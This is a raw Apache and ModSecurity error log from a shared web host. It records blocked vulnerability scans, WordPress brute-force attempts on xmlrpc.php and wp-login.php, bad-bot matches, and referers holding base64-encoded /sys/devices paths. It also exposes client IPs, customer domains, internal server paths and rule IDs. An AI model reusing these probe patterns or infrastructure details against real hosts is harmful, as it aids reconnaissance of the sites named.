https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:20:22.405678 2026] [access_compat:error] [pid 646876:tid 646934] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9tb3VzZTEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:20:22.410816 2026] [access_compat:error] [pid 648189:tid 648312] [remote 57.141.14.86:59660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:22.411139 2026] [access_compat:error] [pid 648189:tid 648312] [remote 57.141.14.86:59660] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:22.454158 2026] [security2:error] [pid 646876:tid 646999] [remote 17.246.19.226:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 226.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zxtyTkdrNlD40tSG-HwAAQHg"] [Sat Jun 13 18:20:22.537680 2026] [security2:error] [pid 648189:tid 648427] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/tests/lang/operators/postinc_variationStr.phpt"] [unique_id "ai3zxlWSojQL4F7upKCE9AAAAM4"] [Sat Jun 13 18:20:22.614507 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.107:36759] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:22.614822 2026] [access_compat:error] [pid 648189:tid 648289] [remote 57.141.14.107:36759] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:22.656466 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.110:32686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:22.656943 2026] [access_compat:error] [pid 648189:tid 648224] [remote 57.141.14.110:32686] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:22.787646 2026] [security2:error] [pid 648189:tid 648463] [client 74.7.228.2:59904] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "captpeacock.com"] [uri "/robots.txt"] [unique_id "ai3zxlWSojQL4F7upKCE_AAA7Qk"] [Sat Jun 13 18:20:22.841071 2026] [access_compat:error] [pid 646876:tid 646957] [remote 57.141.14.82:53218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:22.841489 2026] [access_compat:error] [pid 646876:tid 646957] [remote 57.141.14.82:53218] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:22.876004 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.76:25245] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:22.876409 2026] [access_compat:error] [pid 648189:tid 648265] [remote 57.141.14.76:25245] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:22.889471 2026] [security2:error] [pid 648189:tid 648254] [remote 17.241.75.82:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 82.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zxlWSojQL4F7upKCFAwAA8SA"] [Sat Jun 13 18:20:22.978588 2026] [security2:error] [pid 646876:tid 647118] [client 74.7.228.2:59918] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "www.captpeacock.com"] [uri "/robots.txt"] [unique_id "ai3zxtyTkdrNlD40tSG-LQAAblI"], referer: https://captpeacock.com/robots.txt [Sat Jun 13 18:20:23.091602 2026] [security2:error] [pid 648189:tid 648287] [remote 17.22.245.227:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 227.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zx1WSojQL4F7upKCFCAAA7kE"] [Sat Jun 13 18:20:23.147799 2026] [security2:error] [pid 648189:tid 648291] [remote 202.172.25.51:44092] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 51.25.172.202.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.shortstaygem.co.uk"] [uri "/xmlrpc.php"] [unique_id "ai3zx1WSojQL4F7upKCFCwAA5kU"] [Sat Jun 13 18:20:23.148115 2026] [security2:error] [pid 648189:tid 648452] [client 202.172.25.51:44092] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.shortstaygem.co.uk"] [uri "/xmlrpc.php"] [unique_id "ai3zx1WSojQL4F7upKCFCwAA5kU"] [Sat Jun 13 18:20:23.316448 2026] [core:error] [pid 646876:tid 647090] [client 45.86.200.28:28233] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:23.316469 2026] [core:error] [pid 646876:tid 647090] [client 45.86.200.28:28233] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:23.450247 2026] [security2:error] [pid 648189:tid 648245] [remote 57.141.14.32:20817] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zx1WSojQL4F7upKCFEQAAshg"], referer: https://nelsonfarmstn.com/shop/?add_to_wishlist=538&_wpnonce=8d149de2a5&add-to-cart=22747 [Sat Jun 13 18:20:23.467401 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.22:54640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:23.467699 2026] [access_compat:error] [pid 648189:tid 648283] [remote 57.141.14.22:54640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:23.490527 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.40:33622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:23.490836 2026] [access_compat:error] [pid 648189:tid 648340] [remote 57.141.14.40:33622] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:23.577669 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.21:54139] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:23.578083 2026] [access_compat:error] [pid 646876:tid 646990] [remote 57.141.14.21:54139] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:23.624351 2026] [security2:error] [pid 646876:tid 646889] [remote 17.241.75.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zx9yTkdrNlD40tSG-QQAAPAo"] [Sat Jun 13 18:20:23.668937 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvaWQ= [Sat Jun 13 18:20:23.669367 2026] [access_compat:error] [pid 646876:tid 646930] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDQvaWQ= [Sat Jun 13 18:20:23.836773 2026] [security2:error] [pid 648189:tid 648348] [remote 113.190.40.93:43414] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.40.190.113.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "madagascar-foundation.org"] [uri "/wp-login.php"] [unique_id "ai3zx1WSojQL4F7upKCFHgAA4X0"] [Sat Jun 13 18:20:24.011398 2026] [security2:error] [pid 648189:tid 648334] [remote 17.246.15.36:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 36.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zx1WSojQL4F7upKCFJgAAk28"] [Sat Jun 13 18:20:24.115846 2026] [access_compat:error] [pid 648189:tid 648325] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:24.116162 2026] [access_compat:error] [pid 648189:tid 648325] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:24.323321 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.16:20280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:24.323827 2026] [access_compat:error] [pid 648189:tid 648284] [remote 57.141.14.16:20280] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:24.547958 2026] [security2:error] [pid 648189:tid 648295] [remote 113.190.40.93:43414] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 93.40.190.113.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "madagascar-foundation.org"] [uri "/wp-login.php"] [unique_id "ai3zyFWSojQL4F7upKCFOAAAkEk"], referer: https://madagascar-foundation.org/wp-login.php [Sat Jun 13 18:20:24.567564 2026] [security2:error] [pid 648189:tid 648411] [client 167.235.143.113:28862] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "200"] [hostname "cityofmarional.com"] [uri "/index.php"] [unique_id "ai3zyFWSojQL4F7upKCFLgAAAL4"], referer: https://cityofmarional.com [Sat Jun 13 18:20:24.587599 2026] [security2:error] [pid 646876:tid 646915] [remote 17.241.227.154:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 154.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zyNyTkdrNlD40tSG-WwAAdiQ"] [Sat Jun 13 18:20:24.779142 2026] [security2:error] [pid 648189:tid 648444] [client 209.141.32.143:34256] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "sheepscot.goarchitects.com"] [uri "/wp-content/plugins/updraftplus/readme.txt"] [unique_id "ai3zyFWSojQL4F7upKCFQgAAAN4"] [Sat Jun 13 18:20:24.845078 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEEwNjowMi9waHlzaWNhbF9ub2Rl [Sat Jun 13 18:20:24.845352 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvUE5QMEEwNjowMi9waHlzaWNhbF9ub2Rl [Sat Jun 13 18:20:24.861426 2026] [security2:error] [pid 648189:tid 648277] [remote 57.141.14.32:20829] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.14.141.57.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "nelsonfarmstn.com"] [uri "/wp-admin/admin-ajax.php"] [unique_id "ai3zyFWSojQL4F7upKCFQwAAvTc"], referer: https://nelsonfarmstn.com/product/honeysuckle-jasmine/?add_to_wishlist=3073&_wpnonce=8d149de2a5 [Sat Jun 13 18:20:25.097195 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.56:32016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:25.097460 2026] [access_compat:error] [pid 646876:tid 646896] [remote 57.141.14.56:32016] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:25.212554 2026] [security2:error] [pid 648189:tid 648281] [remote 103.154.176.224:50292] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.176.154.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mail.clubaereolaserena.cl"] [uri "/xmlrpc.php"] [unique_id "ai3zyVWSojQL4F7upKCFSQAAxzs"] [Sat Jun 13 18:20:25.212809 2026] [security2:error] [pid 648189:tid 648420] [client 103.154.176.224:50292] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "mail.clubaereolaserena.cl"] [uri "/xmlrpc.php"] [unique_id "ai3zyVWSojQL4F7upKCFSQAAxzs"] [Sat Jun 13 18:20:25.254258 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.61:40300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:25.254520 2026] [access_compat:error] [pid 648189:tid 648246] [remote 57.141.14.61:40300] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:25.345899 2026] [core:error] [pid 648189:tid 648476] [client 45.86.200.6:61675] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:25.345917 2026] [core:error] [pid 648189:tid 648476] [client 45.86.200.6:61675] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:25.393756 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.72:34793] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:25.394050 2026] [access_compat:error] [pid 648189:tid 648311] [remote 57.141.14.72:34793] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:25.543454 2026] [lsapi:warn] [pid 646876:tid 646936] [remote 70.66.53.92:41014] [host royalcanvas.ca] Backend log: PHP Warning: Undefined variable $response in /home2/royalcan/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 37\n, referer: https://royalcanvas.ca/cart/ [Sat Jun 13 18:20:25.672337 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.60:28240] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:25.672807 2026] [access_compat:error] [pid 648189:tid 648306] [remote 57.141.14.60:28240] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:25.700184 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.112:31252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:25.700483 2026] [access_compat:error] [pid 648189:tid 648223] [remote 57.141.14.112:31252] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:25.829683 2026] [security2:error] [pid 648189:tid 648230] [remote 220.181.108.167:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 167.108.181.220.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zyVWSojQL4F7upKCFbQAAuQo"] [Sat Jun 13 18:20:25.905364 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:20:25.905831 2026] [access_compat:error] [pid 646876:tid 646907] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vbW91c2UwL3N1YnN5c3RlbS9pbnB1dDYvbW91c2UyL2RldmljZQ== [Sat Jun 13 18:20:25.960130 2026] [security2:error] [pid 648189:tid 648336] [remote 17.246.19.223:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 223.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zyVWSojQL4F7upKCFcAAA_3E"] [Sat Jun 13 18:20:26.194488 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.9:20224] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:26.194816 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.9:20224] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:26.333317 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.95:43009] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:26.333687 2026] [access_compat:error] [pid 648189:tid 648255] [remote 57.141.14.95:43009] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:26.401021 2026] [lsapi:warn] [pid 646876:tid 646936] [remote 70.66.53.92:41014] [host royalcanvas.ca] Backend log: PHP Warning: Undefined variable $response in /home2/royalcan/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 37\n, referer: https://royalcanvas.ca/cart/ [Sat Jun 13 18:20:26.476849 2026] [core:error] [pid 648189:tid 648367] [client 45.86.200.46:33081] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:26.476874 2026] [core:error] [pid 648189:tid 648367] [client 45.86.200.46:33081] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:26.625472 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.24:30844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:26.625923 2026] [access_compat:error] [pid 646876:tid 646933] [remote 57.141.14.24:30844] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:26.626900 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.72:34809] AH01797: 